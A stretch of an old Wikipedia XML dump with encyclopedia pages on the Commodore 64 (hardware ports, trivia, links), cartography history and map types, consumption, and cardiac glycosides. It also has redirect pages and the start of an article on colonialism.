** User port (edge connector with [[Transistor-transistor logic|TTL]]-level [[RS-232]] signals, for modems, etc; and byte-parallel signals which can be used to drive third-party parallel printers, among other things; with 17 logic signals, 7 GND and voltage pins, including 9 V AC voltage)
** Serial bus (serial version of [[IEEE-488]], 6-pin DIN plug) for CBM printers and disk drives
*Power supply: 5 V DC and 9 V AC from external &quot;monolithic power brick&quot;, attached to computer's 7-pin female DIN-connector

==Trivia==
*The Commodore 64's startup screen was spoofed in the startup sequence of the 2002 computer/video game ''[[Grand Theft Auto: Vice City]]''.
*''[http://www.homestarrunner.com/pop_tire.html Population: Tire]'', a game from animated flash site [http://www.homestarrunner.com HomestarRunner.com], also starts up with a spoofed screen of the Commodore 64, called &quot;Compydore 64&quot;.
*The Commodore 64's BASIC V2, the programming language which came built-in the computer, could be crashed by executing &lt;tt&gt;PRINT&quot;&quot;+-[x]&lt;/tt&gt; (where x is any integer).

==Notes==
# {{note|doorstop}} A contemporary rumor stated that while Commodore scavenged most trade-in computers for spare parts, its employees used the TS1000s as [[door stop]]s.

==See also==
*[[Commodore 64 Games System]]
*[[Commodore 64 software]]
*[[List of Commodore 64 games]]
*[[Commodore 64 demos]]
*[[Commodore 128]]

==References==
===Books===
* Bagnall, Brian (2005). ''On the Edge: the Spectacular Rise and Fall of Commodore''. Variant Press. ISBN 0-9738649-0-7.
* Commodore Business Machines, Inc., Computer Systems Division (1982).  ''Commodore 64 Programmer's Reference Guide''. Self-published by CBM. ISBN 0-672-22056-3.
* Angerhausen, M.; Becker, Dr. A.; English, L.; Gerits, K. (1983, 84). ''The Anatomy of the Commodore 64''.  Abacus Software (US ed.) / First Publishing Ltd. (UK ed.).  ISBN 0-948015-004 (UK ed.).  German original edition published by Data Becker GmbH, Düsseldorf.
* Tomczyk, Michael (1984). ''The Home Computer Wars: An Insider's Account of Commodore and Jack Tramiel''. COMPUTE! Publications, Inc. ISBN 0-942386-75-2.

===Magazine articles===
* Perry, Tekla S.; Wallich, Paul. &quot;Design case history: the Commodore 64&quot;. ''[[IEEE Spectrum]]''. March 1985. [http://www.commodore.ca/gallery/magazines/c64_design/c64_design.htm]
* Jeffries, Ron. &quot;A best buy for '83: Commodore 64&quot;. ''[[Creative Computing]]'', January 1983. [http://www.atarimagazines.com/creative/v9n1/21_A_best_buy_for_83_Commo.php]

==External links==
{{commons|Commodore 64}}
===Emulators===
*[http://www.c64s.com/ c64s.com] – Online C64 emulator (Java based).
*[http://www.viceteam.org VICE] – The [[VICE|Versatile Commodore Emulator]], emulating the C64 and other CBM machines on various operating systems (UNIX, BeOS, Windows, etc.) 
*[http://www.computerbrains.com/ccs64/ CCS64] – By Håkan Sundell
*[http://www.geocities.com/SiliconValley/Park/6558/win64.htm Win64] – C64 emulator for MS Windows
*[http://www.infinite-loop.at/Power64/index.html Power 64] – C64 emulator for Mac OS X and OS 9
*[http://frodo.cebix.net/ Frodo - The free portable C64 emulator]

===Link portals===
*[http://www.c64s.com/ c64s.com] – A catalogue of C64 titles playable online.
*[http://www.dmoz.org/Computers/Systems/Commodore/ Open Directory Project] – Large collection of Commodore links for emulators, hardware projects and games
*[http://www.c64.org/ c64.org] – A useful link portal
*[http://www.c64.cc/ Cocos (Commodore Computer Sitelist)] – A large directory of C64 + [[demoscene]]-related links
*[http://del.icio.us/64/ del.icio.us/64] – The tagged link list for Commodore 64 fans

===Archives===
*[ftp://ftp.scs-trc.net The Digital Dungeon (TDD)] – FTP site full of old and recent C64 software
*[http://www.c64.ch/ www.c64.ch] – An archive of C64 demos
*[http://www.gamebase64.com/ GameBase 64] – C64 game software information site
*[http://www.lemon64.com/ Lemon 64] – Site with general information, game reviews and a forum
*[http://www.gtw64.co.uk/ Games That Weren't 64] – Large project archive dedicated to finding and researching lost C64 games.
*[http://www.c64hq.com C64HQ] – Graphically nice site with interviews of famous C64 game creators &amp; sceners, game- and demodownloads and more
*[http://c64.tin.at/ C64 Walkthrough Site] – Walkthrough and solution archive for C64 adventure games with discussion forum
*[http://project64.c64.org/ Project 64] – Manuals for C64/128 games and software
*[http://tapes.c64.no/ The Ultimate C64 Tape Page] – Large preservation archive of C64 cassettes. Also contains scans of cassette covers and manuals
*[http://www.c64db.com/ The C64 Internet Games Database] – over &lt;b&gt;30000&lt;/b&gt; entries! After a 64 game? Then find it here!
*[http://www.the-commodore-zone.com/ The-Commodore-Zone] – Archive of C64 games, speech box, legends of the 64, discussion forum, online databases, links

===Music===
*[http://www.mini-melodies.de.vu/ Mini Melodies] – German band that produces records using C64 machines
*[http://www.geocities.com/SiliconValley/Lakes/5147/sidplay/index.html SIDPLAY] – A [[freeware]] [[MOS Technology SID|SID]] music player (a &quot;SID chip [[emulator]]&quot;)
*[http://hvsc.c64.org/ HVSC - High Voltage SID Collection] – Large collection of SID files which can be downloaded as a complete archive for use with SIDPLAY
*[http://c64music.blogspot.com/ C64 Music] – Commodore 64 music in the real world &amp; other related SID stories blog
*[[Press Play on Tape]] – Danish 'C64 revival' band
*[[Mr. Pacman]] – American band that performs C64 covers &amp; re-workings; band member Silver Ghost uses a [[Commodore SX-64|SX-64]] as a [[bass (musical term)|bass]] [[synthesizer]]
*[http://www.slayradio.org/ SLAY Radio] – Radio with live DJs playing Remixes of C64 game and demo music
*[http://remix.kwed.org/ remix.kwed.org] – Remixes of C64 game music in [[mp3]]-format
*[http://www.remix64.com/ Remix64] – Online magazine and community centre for the C64 music remixing scene
*[http://www.sidstation.com/ Sidstation by Elektron] – Swedish company Elektron makes the Sidstation, a [[synthesizer]] using the C64 SID chip, with [[midi]] support and realtime tweaking
*[http://www.treewave.com/ Tree Wave] – American band that creates original and sophisticated music and video using Commodore 64 machines and other 8-bit computers and peripherals, often for live performances.
*[[Welle:Erdball]] – German [[bitpop]] group who credit their beefed-up C64 as a band member
*[http://www.satellitesrecords.com/artists/c64.htm Kawasaki Synthesizer &amp; Rhythm Rocker] – One of the first standalone(no additional hardware required other than C64/PC itself) music software ever written for personal computer history which became widely accepted and commercially successful. The page is provided by the author [[Ryo Kawasaki]] himself.

===History===
*[http://www.islandnet.com/~kpolsson/c64hist/ Chronology of the Commodore 64 Computer] – By Ken Polsson
*[http://www.doyouremember.co.uk/memory.asp?memID=4023 Commodore 64 memories and memorabilia] – Fond memories written by Commodore 64 users
*[http://www.pc-history.org/comm.htm The History of the Commodore 64] – From Stan Veit's PC history website
*[http://www.dicecca.net/english/c64/ Commodore 64 Museum] – An Italian photo collection of C64s and peripherals
*[http://www.commodore.ca/products/c64/commodore_64.htm Commodore 64 history, manuals, and photos] – From Canadian-based website www.commodore.ca
*[http://www.c64trivia.co.uk/ Commodore Trivia] – A great repository of Commodore-related trivia and information

===Other===
*[http://www.protovision-online.com PROTOVISION - Creating the Future] – A crew of enthusiasts who still produce &amp; distribute new games and hardware for the C64
*[http://rittwage.com/c64pp/ The Commodore 64 Preservation Project] – With a goal of archiving pristine versions of original Commodore 64 software, including copy protection
*[http://www.c64.sk/ C64.sk] – C64 demo scene related news (new releases, parties, etc.)
*[http://www.sics.se/~adam/contiki/ Contiki] – Contiki, an open-source multitasking operating system for the C64 written by Adam Dunkels
*[http://www.youtube.com/w/?v=gDT1m-UDVw8 - Commodore 64 Commercial (Australia)]

{{CBM computers}}

[[Category:Commodore 64|*]]
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      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Cartography''' or '''mapmaking''' (in [[Greek language|Greek]] ''chartis'' = map and ''graphein'' = write) is the study and practice of making [[map]]s or [[globe]]s.  Maps have traditionally been made using [[pen]] and [[paper]], but the advent and spread of [[computer]]s has revolutionized cartography. Most commercial quality maps are now made with map making [[software]] that falls into one of three main types;  [[computer-aided design |CAD]], [[geographic information system | GIS]], and specialized map illustration software.

Maps function as [[visualization]] tools for spatial [[data]]. Spatial data is acquired from [[measurement]] and can be stored in a [[database]], from which it can be extracted for a variety of purposes. Current trends in this field are moving away from analog methods of mapmaking and toward the creation of increasingly dynamic, interactive maps that can be manipulated digitally. The cartographic process rests on the premise that there is an objective reality and that we can make reliable representations of that reality by adding levels of abstraction.

== History == 

[[Image:Radkarte_MKL1888.png|thumb|World map from the [[Middle Age]]s.]]

Mapmaking involves advanced skills and attitudes, particularly the use of symbols to represent certain geographic phenomena, as well as the ability to visualize the world in an abstract and scaled down form.

Maps have been an integral part of the human story for a long time (maybe 8,000 years - nobody knows exactly, but longer than written words). From cave/wall partings, ancient maps of [[Babylon]] and [[Greek philosophers]], through the [[Age of Exploration]], and on into the 21st century, people have created and used maps as the essential tools to help them define, explain and navigate their way through the world (and beyond). According to some scholars, mapping represented a significant step forward in the intellectual development of human beings and it serves as a record of the advancing knowledge of the human race. 

The oldest extant picture that resembles a map was created in the late [[7th millennium BCE]] in [[Anatolia]], modern [[Turkey]]. This wall painting [http://www.henry-davis.com/MAPS/Ancientimages/100B.jpeg]represents a plan of an early-civilized city that prospered by trading obsidian. Whoever created this ‘mental map’ may have been encouraged by the fact that houses in [[Catal Huyuk|Çatal Hűyűk]] were clustered together and were entered via flat roofs. Therefore, it was normal for the inhabitants to view their city from a bird’s eye view.  It is possible that this painting has had an effect on the map-making of later civilizations: today, almost all maps are drawn as if we are looking down from the sky instead of from the more natural horizontal or oblique perspective. Nevertheless, one of the early-survived [[Hellenic]] ‘quasi-maps’ of the [[Minoan]] civilization on Crete, the so-called “House of the Admiral” c. 1600 BCE is a wall painting representing view of a seaside community in an oblique perspective.

Predecessors of mapping could be also found in [[Babylonia]] around the [[23rd century BCE]]. An engraved map of the holy city of [[Nippur]], from the Kassite period ([[14th century BCE|14th]] &amp;ndash; [[12th century BCE|12th centuries BCE]]) of Babylonian history, was found at Nippur [http://www-oi.uchicago.edu/OI/PROJ/NIP/PUB93/NSC/NSCFIG7.html].

The early attempts at maps were severely limited by lack of knowledge of anything other than very local features. Whereas early world maps reflected mostly religious beliefs of the form of the world. For example, the [[Babylonian]] World Map -- the earliest surviving map of the world (c. 600BCE) -- is very much Mesopotamia-centred, ignoring peoples such as the [[Persians]] and [[Egyptians]], who were well known to the Babylonians. The area shown is depicted as a circular shape surrounded by water, which fits the religious image of the world in which the Babylonians believed. 

Maps were quite rare in ancient [[Egypt]]. The [[Egyptians]] seem to have preferred written words to plans. Still, what might have later influenced human mapmaking were the geometrical methods that were used for land measurements, which were stimulated by the need to re-establish the exact boundaries of properties after the annual Nile floods. The most interesting artefact that has survived from this period is the [[Turin Papyrus]], dated c. 1300 BCE. It shows the mountains east of the Nile where gold and silver were mined, along with the location of the miners’ shelters, wells, and the road network that linked the region with the mainland. Its originality can be seen in the map’s inscriptions, its precise orientation and the use of colour.

Ancient [[Greeks]] were the first people to adopt a scientific approach to mapping. They were excellent observers of natural phenomena. Observations of the sun, the moon, and the curvature of the earth were fundamental to the theoretical thinking of early [[Greek philosophers]], scientists, and geographers. The Greeks’ philosophical conception of the world and their growing knowledge in [[geography]] contributed to establishing the concept of mapmaking and to the development of cartographic techniques.
This chapter presents one of the most momentous periods in the history of cartography by illustrating the works of early Greek philosophers who pioneered the concept of mapping. It traces the evolution of Greek ideas concerning the geography of the earth and cartographic techniques of representing natural phenomena in a map form. In addition to an examination of reconstructed maps  of the world as conceived by [[Anaximander of Miletus]], Hecataeus, [[Herodotus]], [[Eratosthenes]], and [[Ptolemy]], this paper also assesses the writings of early Greek poets who tried to give a written picture of the known world of the time. This section will hopefully allow the reader to comprehend the stages through which the Greeks developed their geographical ideas and cartographic knowledge; from blurry and obscure notions of [[Mediterranean]] mariners -- as related by [[Homer]] -- to more scientific and mathematical approach of Claudius Ptolemy’s geography.

In reviewing the literature of early geography and early conceptions of the earth, all sources lead to Homer , who is considered by many (Strabo, Kish and Dilke) as the founding father of Geography. Regardless of the doubts about Homer’s existence, one thing is certain he never was a mapmaker. The enclosed map (soon), which represents the conjectural view of the Homeric world was never created by him. It is an imaginary reconstruction of the world as Homer described it in his two poems the Iliad and the Odyssey. It is worth mentioning that each of these writings involves strong geographic symbolism. They can be seen as descriptive pictures of life and warfare in the Bronze Age  and the illustrated plans of actual journeys. Thus, each one develops a philosophical view of the world, which makes it possible to show this information in the form of a map. 
Additional written statements about ancient geography can be found in [[Hesiod]] poems, written probably during the [[7th century]] BCE

The first steps in the development of scientific thought in ancient Greece belonged to [[Ionians]] from their well-known city of [[Miletus]] in [[Asia Minor]]. Miletus was favourably placed to absorb aspects of Babylonian science and culture and to profit from the expanding commerce of the Mediterranean. 

[[Thales]] of Miletus (c. [[6th century BCE|600 BCE]]) thought that the earth was a disk supported by water. 

[[Anaximander]] of Miletus (c. 611 – 546 BCE) was a pupil of Thales. It has been said that he believed that the earth was a cylindrical form [http://www.henry-davis.com/MAPS/Ancientimages/106A.GIF], like a stone pillar and suspended in space. The inhabited part of his world was a circular, disk-shaped, and presumably located on the upper surface of the cylinder.
Anaximander was the first ancient Greek to draw a map of the known world. It is for this reason that he is considered by many to be the first mapmaker (Dilke). A scarcity of archaeological and written evidence prevents us from giving any assessment of his map. What we can assume is that he portrayed land and sea in a map form. Unfortunately, any definite geographical knowledge that he included in his map is lost. What is certain is that 50 years after Anaximander’s alleged map, Hecataeus of Miletus (550 – 475 BC) produced another map [http://sophistikatedkids.com/turkic/btn_GeographyMaps/World%20according%20to%20Hecataeus%20(6%20th%20century%20BC).gif] that he claimed was an improved version of the map of his illustrious predecessor. 

Another interesting figure in that era was [[Anaximenes]] of Miletus (6th century BCE), who studied under Anaximander. He rejected the views of his teacher regarding the shape of the earth and instead, he visualized the earth as a rectangular form supported by compressed air (Picture soon).

What is interesting here is that his incorrect idea about the shape of the world somehow persisted in the form of how the contemporary maps are presented today. Extend of the current maps are always kind of limited to this rectangular shape (i.e. border of the map [neatline], computer screen, or any document page). 

Although, only a very limited portion of the Earth was known to these ancient Greeks, the shape of the Earth was always going to be of fundamental importance in world maps. For example, [[Pythagoras]] of Samos (c. 560 – 480 BCE) first speculated about the notion of a spherical earth  with a central fire at its core. He is also credited with the introduction of a model that divides a spherical earth into five zones. One hot, two temperate, and two cold -- northern and southern. It seems likely that he illustrated his division in the form of a map, however, no evidence of this has survived to the present. 

Whereas a number of previous philosophers assumed the earth to be spherical, [[Aristotle]] (384 – 322BCE) is the one to be credited with proving the earth’s sphericity. Those arguments can be summarized as follows:
[[Image:Al-Idrisi's world map.JPG|thumb|[[Muhammad al-Idrisi]]'s world map from 1154. Note that south is at the top of the map.]]
*The [[lunar eclipse]] is always circular. 
*Ships seem to sink as they move away from view and pass the horizon. 
*Some stars can only be seen from certain parts of the earth.  
It is unclear if he ever produced a map of the world according to his specifications, but if he did we have yet to find it. 

In [[288 BCE]], [[Aristarchus of Samos]] was the first to say that the [[sun]] was the center of universe (see [[heliocentric theory]]). Also [[Hipparchus]] (astronomer)

A vital contribution to mapping the reality of the world came with a scientific estimate of the circumference of the earth. This event has been described as the first scientific attempt to give geographical studies a mathematical basis. The man credited for this achievement was [[Eratosthenes]]  (275-195 BCE). He was a devoted geographer who set out to reform and perfect the map of the world. Eratosthenes argued that accurate mapping, even if in two dimensions only, depends upon the establishment of an accurate linear measurements. 
His great achievement in the field of cartography was the use of new techniques called (A) meridian  -- his imaginary north/south line  -- and (B) parallel  -- his imaginary west/east line [http://www.henry-davis.com/MAPS/Ancientimages/112B.jpg]. These axis lines were placed over the map of the earth with their origin in the city of Rhodes  and divided the world into sectors. Then, Eratosthenes used these earth partitions to reference places on the map.

He provided the logical framework of reference for all future maps, which ensures that every city, area, and ocean is drawn in its proper place on the map -- one accurately located in relation to the other. Although not as precise as the latter, his earth partitions were the forerunners of parallels and meridians. 
Eratosthenes’ map of the world was a very striking achievement and may be considered as the first scientific map. A map that laid the basis to produce accurate maps, which were implemented in the work of all later cartographers and geographers.

The accumulated cartographic achievements of the early Greeks and their predecessors that have been presented up to this point culminate with the contribution of the famous Greek scholar named Claudius [[Ptolemy]] (A.D. [[90]]-[[168]]). This pivotal figure in geography concluded that with the aid of astronomy and mathematics the earth could be mapped very accurately. Ptolemy revolutionized the depiction of the spherical earth on the map by using [[perspective projection]], and suggested precise methods for fixing the position of geographic features on its surface using [[coordinate system]] -- parallels of latitude and meridians of longitude.[http://geology.cwru.edu/~huwig/catalog/slides/769.G.2.jpg]

His great work ''[[Geographia]]'' [http://en.wikipedia.org/wiki/Ptolemy] comprises of eight books and by today’s standards, it would be called a geographic atlas.  The form of his atlas and the maps themselves are the prototypes of modern mapmaking. And the listing of place-names, with the latitude and longitude of each place to guide the search, is not so different from the system employed by today’s user. Additional standard features on modern maps that are Ptolemaic in origin are: a scale that is used for precise interpretation of phenomena, conventional signs with legends, a table  that contains supplemental information about the specific places on the map, and the practice of orienting maps so that North is at the top and East to the right of the map -- a universal custom today.

But for all his important innovations Ptolemy was not infallible. His most important error was a miscalculation of the circumference of the earth. He believed that [[Eurasia]] covered 180° of the globe, which convinced [[Christopher Columbus]] to sail across the Atlantic to look for a simpler and faster way to travel to India. Had Columbus known that the true figure was much greater,  it is conceivable that he would never have set out on his momentous voyage. 

It is undeniable that Ptolemy made a fundamental contribution to the development of cartography and proved to be a decisive influence on accurate mapmaking in the future. His work determined world exploration and dominated mapping of the world for almost 1400 years -- until the scientific achievements of another great mapmaker, [[Gerardus Mercator]] (1512-1594). 

He was a Flemish cartographer who in his quest to make the world “look right” on the maps developed new projection (called [[Mercator projection]]) using mathematical formulas. From then on, the image of the world that he produced on his map in [[1569]] becomes a conventional view of the world that we are accustomed 

European scientific cartography slept through the [[Middle Ages]], when philosophical thought turned toward religion. Though the field advanced in some ways, such as [[Roger Bacon]]'s investigations of map projections and the appearance of [[portolano]] and then [[portolan chart]]s for plying the European trade routes, there was little impetus for systematic study or application of cartography. Most world 'maps' of the period were Christian cosmological diagrams not intended as rigorous geographical representations. Typically rectangular or circular, they followed the style of the so-called &quot;[[T and O map]],&quot; which represents the earth's single land mass as disk-shaped and surrounded by [[ocean]]. Large-scale mapping tended toward diagrammatic as well, since cadastral needs generally were met by descriptions of landmarks rather than by measurements. In contrast, the Chinese during this time were using a rectangular [[coordinate system]] suitable for real, if rough, surveying. The Chinese did not produce world maps because their cosmology supplied no dogma describing distant lands outside their experience. Writings suggest that Chinese philosophers believed the earth to be flat. With the exception of a few theologians of minority opinion, notably [[Lactantius]], Christian and Islamic philosophers adhered to the Greek conception of a spherical earth.

[[Image:Kepler-world.jpg|thumb|left|World map by [[Johannes Kepler]].]]

The discovery of the Americas by Europeans and the subsequent effort to control and divide those lands necessitated the invention of scientific mapping methods. The trend of globalism that was started with the [[Age of Exploration]] would continue during the [[Renaissance]]. This would, in turn, eventually lead to [[the Enlightenment]] a concern for scientific accuracy and a desire to classify the world would further develop scientific mapmaking.

Those early mapmakers were the first to show to us the potential values of maps for putting things in perspective, both factually and symbolically. Through their maps, they opened the door for future generations, by allowing people to make informative decisions based on their work. For example, one of the differences between the [[Western World]] and other cultures, and one of the reasons for the global spread of western power, is that [[Europeans]] recorded their knowledge on maps while others did not. Or, as Peter Whitfield, the author of several books on the history of maps, points out &quot;Men in Seville, Amsterdam or London had access to knowledge of America, Brazil, or India, while the [[native peoples]] knew only their own immediate environment&quot; (Whitfield). 

===Technological changes===
In cartography, technology has continually changed in order to meet the demands of new generations of mapmakers and map users. The first maps were manually constructed with brushes and parchment and therefore varied in quality and were limited in distribution. The advent of magnetic devices, such as the [[compass]] and much later [[magnetic storage]] devices, allowed for the creation of far more accurate maps and the ability to store and manipulate them digitally. 

Advances in mechanical devices such as the [[printing press]], [[quadrant]] and [[vernier]] allowed for the mass production of maps and the ability to make accurate reproductions from more accurate data. Optical technology, such as the [[telescope]], [[sextant]] and other devices that use telescopes, allowed for accurate surveying of land and the ability of mapmakers and navigators to find their [[latitude]] by measuring angles to the [[North Star]] at night or the [[sun]] at noon. 

Advances in photochemical technology, such as the [[lithography|  lithographic]] and [[photography | photochemical processes]], have allowed for the creation of maps that have fine details, do not distort in shape and resist moisture and wear. This also eliminated the need for engraving which further shortened the time it takes to make and reproduce maps. 

In the mid to late [[20th century]] advances in electronic technology have led to a new revolution in cartography. Specifically [[computer hardware]] devices such as computer screens, plotters, printers, scanners (remote and document) and analytic stereo plotters along with visualization, image processing, spatial analysis and database software, have democratized and greatly expanded the making of maps.  See also [[digital raster graphic]].

== Map types ==
In understanding basic maps, the field of cartography can be divided into two general categories: general cartography and thematic cartography.  General cartography involves those maps that are constructed for a general audience and thus contain a variety of features.  General maps exhibit many reference and location systems and often are produced in a series.  For example the 1:24,000 scale topographic maps of the [[United States Geological Survey]] (USGS) are a standard as compared to the 1:50,000 scale Canadian maps. 

A [[topographic map]] is primarily concerned with the topography of a place, and is typically different from other maps by its use of [[contour line]]s showing elevation.

A planimetric map is like a topographic one but without elevations: countour lines or spot heights.

A [[topological map]] is a very general type of map, the kind you might sketch on a napkin.

Thematic cartography involves maps of specific geographic themes oriented toward specific audiences.  A couple of examples might be a dot map showing corn production in Indiana or a shaded area map of Ohio counties divided into numerical [[Choropleth map|choropleth]] classes.  As the volume of geographic data has exploded over the last century, thematic cartography has become increasingly useful and necessary to interpret spatial cultural and social data.

Two of the most influential American cartographers, especially in thematic cartography have been [[Arthur H. Robinson]] at the [[University of Wisconsin-Madison]] and [[George F. Jenks]] at the [[University of Kansas]].

== Naming conventions ==
There are several ways to name the places on a map. Early explorers named them in several ways &amp;mdash; after themselves, people in their homeland, and the ruler(s) of their countries. Features were also named by appearance, local climate, incidents that happened in the vicinity, and location. Many places along the coast of [[Brazil]] were named by [[Portugal|Portuguese]] explorers in the early [[1500s]] after the [[saint]] of the day of discovery in the [[Catholic]] [[calendar of saints]] (so that the detailed timetable of their expeditions can often be recovered from the list of assigned names).

Cartographers also borrowed native names, sometimes by [[transliteration|transliterating]] the written form into the [[Latin alphabet]], but most often by transcribing the sound, or attempting to do so. Often the explorer would address the nearest native, pointing at the landmark in question and speaking in a loud voice; whatever the native said was then written down as its name. The [[Yucatán|Yucatan Peninsula]] was named in this way as was Nome, Alaska, according to legend.

== See also == 

* [[Animated mapping]]
* [[Cartogram]]
* [[Figure-Ground in Map Design]]
* [[List of cartographers]]
* [[Geocode]]
* [[Geographic information system|Geographic Information System]] (GIS)
* [[Map design]]
* [[Map projections]]
* [[OpenStreetMap]], a free project mapping the worlds roads using [[GPS]]
* [[Point of Beginning]]
* [[Sea level]]
&lt;!-- The article titled ''[[great circle distance]]'' explains how to find that quantity if one knows the two latitudes and longitudes. --&gt;

== External links ==
{{Commons|Historical maps}}

* [http://www.loc.gov/rr/geogmap/guide/gmilltoc.html Geography and Maps, an Illustrated Guide], by the staff of the US [[Library of Congress]].
* [http://www-gap.dcs.st-and.ac.uk/~history/HistTopics/Cartography.html The history of cartography] at the School of Mathematics and Statistics, University of St. Andrews, Scotland
* [http://www.antiquemaps.co.uk/contents.html Antique Maps] by Carl Moreland and David Bannister - complete text of the book, with information both on map making and on map makers, including short biographies of many cartographers
* [http://www.nacis.org/ North American Cartographic Information Society]
* [http://www.newberry.org/collections/conbib.html Concise Bibliography of the History of Cartography], Newberry Library

See [[Maps#External links|Maps]] for more links to modern and historical maps; however, most of the largest sites are listed at the sites linked below.
* [http://www.maphistory.info/index.html Map history] has extensive links to online map resources, including several large [http://www.maphistory.info/webimages.html collections of images online] and articles on the [http://www.maphistory.info/webtexts.html history of cartography].
* [http://oddens.geog.uu.nl/index.php Odden's fascinating world of maps and mapping] has a huge database of links on maps and cartography (under &quot;Literature&quot;).
* [http://www.sunysb.edu/libmap/libcats.htm  Online map catalogs in North America and Europe] lists some good places to search for online maps.
* [http://www.uidaho.edu/special-collections/Other.Repositories.html  A listing of over 5000 websites] describing holdings of manuscripts, archives, rare books, historical photographs, and other primary sources for the research scholar
* [http://www.mapref.org MapRef] A collection of map projections and reference systems for Europe - Zusammenstellung Europäischer Referenzsysteme und Kartenprojektionen
* [http://www.links4maps.com Links for maps] Directory for maps and cartography links

== References ==
* {{cite book | author=Monmonier, Mark | title=How to Lie with Maps | publisher=University of Chicago Press | year=1991 | id=ISBN 0226534219}}
* {{cite book | author=Pickles, John | title=A History of Spaces: Cartographic Reason, Mapping, and the Geo-Coded World | publisher=Taylor &amp; Francis, Inc. | year=2003 | id=ISBN 0415144973}}
* {{cite book | author=Wilford, John Noble | title=The Mapmakers | publisher=Vintage Books | year=2000 | id=ISBN 0375708502}}

[[Category:Cartography| ]]
[[Category:Architecture and engineering occupations]]

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  <page>
    <title>Consumption</title>
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      <text xml:space="preserve">{{mergewith|consumption (economics)}}

:''&quot;Consumption&quot; is also an archaic name for the disease [[tuberculosis]].''

'''Consumption''' is the using up of a [[resource]].  Discussions of human consumption of resources plays an important role in both [[economics]] and [[environmentalism]]. In [[Keynesian]] economics, &quot;consumption&quot; is short-hand for '''[[consumption (economics)| personal consumption expenditure]]''' and is determined by the [[consumption function]], especially by the [[marginal propensity to consume]]. It is part of [[aggregate demand]] or [[effective demand]].

Consumption can also be defined as &quot;the selection, adoption, use, disposal and recycling of goods and services&quot;, as opposed to their design, production and marketing. 

Studies of consumption investigate how and why society and individuals consume goods and services, and how this affects society and human relationships. Contemporary studies focus on meanings, role of consumption in indentity making, and the 'consumer' society.  Traditionally, consumption was seen as rather unimportant compared to production, and the political and economic issues surrounding it.  With the development of a consumer society,  increasing consumer power in the market place, the growth in marketing, advertising, sophisticated consumers, ethical consumption etc, it is recognised as central to modern life. [[Sociology]] of consumption has moved well beyond [[Thorstein Veblen|Veblen]]'s early work on [[conspicuous consumption|'conspicuous']] consumption. Current theories investigate the role of economic and cultural factors in constraining consumption, as development of an approach that sees consumers as 'victims' of producers and their social situation. A counter theory highlights the subversive aspects of consumption, with consumers buying and using goods, places etc in ways unintended by the producers. Examples include city squares turned to skateboard parks, and music sharing on the internet.

Studies of consumption come from a variety of backgrounds. Consumer studies attempt to help marketing. User research aims to improve product design. [[Feminist]] studies highlights the importance of women as consumers, and particularly the role of the domestic arena in consumption. [[Media studies]] try to understand the consumption of media products such as television and video games. [[Critical Theory]] is an important influence on contemporary studies, as consumption is central to contemporary culture. 

Studying consumption can be done through traditional survey methods, or various [[ethnographic]] techniques. Consumption studies are difficult because they involve investigating everyday life situations, rather than formalised settings such as the workplace.

Well known studies of consumption include those by Pierre [[Bourdieu]] and Daniel Miller. Favourite topics include studies of food, new technologies, fashion items, and television.

==See also==
* [[Consumerism]]
* [[List of things which are neither production nor consumption]]
* [[Over-consumption]]
* [[Net creativity]]
* [[Consumption (economics)]]

==External links==

* [http://www.chrisjordan.com/ Intolerable Beauty - Portraits of American Mass Consumption] (Chris Jordan Photography), artistic photos of mass consumerism

[[Category:Economics]]

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  <page>
    <title>Cardiac glycoside</title>
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      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">'''Cardiac glycosides''' are [[medication|drugs]] used in the treatment of [[congestive heart failure]] and cardiac [[arrhythmia]]. These [[glycoside]]s are found as [[secondary metabolite]]s in several [[plant]]s, but also in some animals. Some of these compounds (ouabain and some frog poisons) are used in Africa as arrow-poisons for hunting.

Cardiac glycosides work by inhibiting the [[NaKATPase|Na&lt;sup&gt;+&lt;/sup&gt;/K&lt;sup&gt;+&lt;/sup&gt; pump]]. This inhibition increases the amount of  [[Calcium|Ca]]&lt;sup&gt;++&lt;/sup&gt; [[ion]]s available for contraction of the heart [[muscle]], improves cardiac output and reduces distention of the heart.

They have an [[antiarrhythmic]] effect by prolonging the refractory period of the AV node ([[Atrioventricular node]]), reducing the number of impulses reaching the [[ventricle]]s. Cardiac output is restored but [[atrial fibrillation]] or atrial flutter are not abolished.

Examples of plants producing cardiac glycosides:
* ''[[Strophanthus]]'' - [[ouabain]] g/k/e-strophanthin
* ''[[Digitalis]] lanata'' and ''Digitalis purpurea'' - [[digoxin]], [[digitoxin]]
* ''[[Scilla]] maritima'' - proscillaridine A
* ''Adonis vernalis, Adonis aestivalis''
* ''Ammi visnaga''
* ''Crataegus'' (vitexin, rutin)
* ''Acokanthera oblongifolia''
* ''Convallaria''

Some frog-poison contain bufalin, marinobufagenin and bufadienolides, cardiac glycosides.

{{biochem-stub}}

[[Category:Cardiac glycosides| ]] [[Category:Glycosides]]

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  <page>
    <title>Ca plus plus antagonist</title>
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      <contributor>
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      <comment>It's a (somewhat) better article.  Also, no one calls them &quot;ca plus plus antagonists&quot;. :-)</comment>
      <text xml:space="preserve">#REDIRECT [[Calcium channel blocker]]</text>
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  <page>
    <title>Cyclic AMP</title>
    <id>7298</id>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cyclic adenosine monophosphate]]
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    <title>Colonialism</title>
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    <revision>
      <id>40966886</id>
      <timestamp>2006-02-24T04:12:17Z</timestamp>
      <contributor>
        <username>Jaxl</username>
        <id>309415</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/172.192.141.183|172.192.141.183]] ([[User talk:172.192.141.183|talk]]) to last version by 199.172.241.191</comment>
      <text xml:space="preserve">[[Image:Colonization 1945.png|thumb|right|300px|World map of colonialism at the end of the Second World War in 1945.]]
'''Colonialism''' is the extension of a nation's sovereignty over territory and people outside its own boundaries,     often to facilitate economic domination over their resources, labor, and markets.  The term also refers to a set of beliefs used to legitimize or promote this system, especially the belief that the [[mores]] of the colonizer are superior to those of the colonized. 

Advocates of colonialism argue that colonial rule benefits the colonized by developing the economic and political infrastructure necessary for modernization and [[democracy]].  They point to such former colonies as the [[United States of America]], [[Canada]], [[Australia]], [[New Zealand]], [[Hong Kong]] and [[Singapore]] as examples of [[post-colonialism|post-colonial]] success.  These nations do not, however, represent the normal course of colonialism in that they are either [[settler]] societies, or [[Trading post|tradepost cities]].

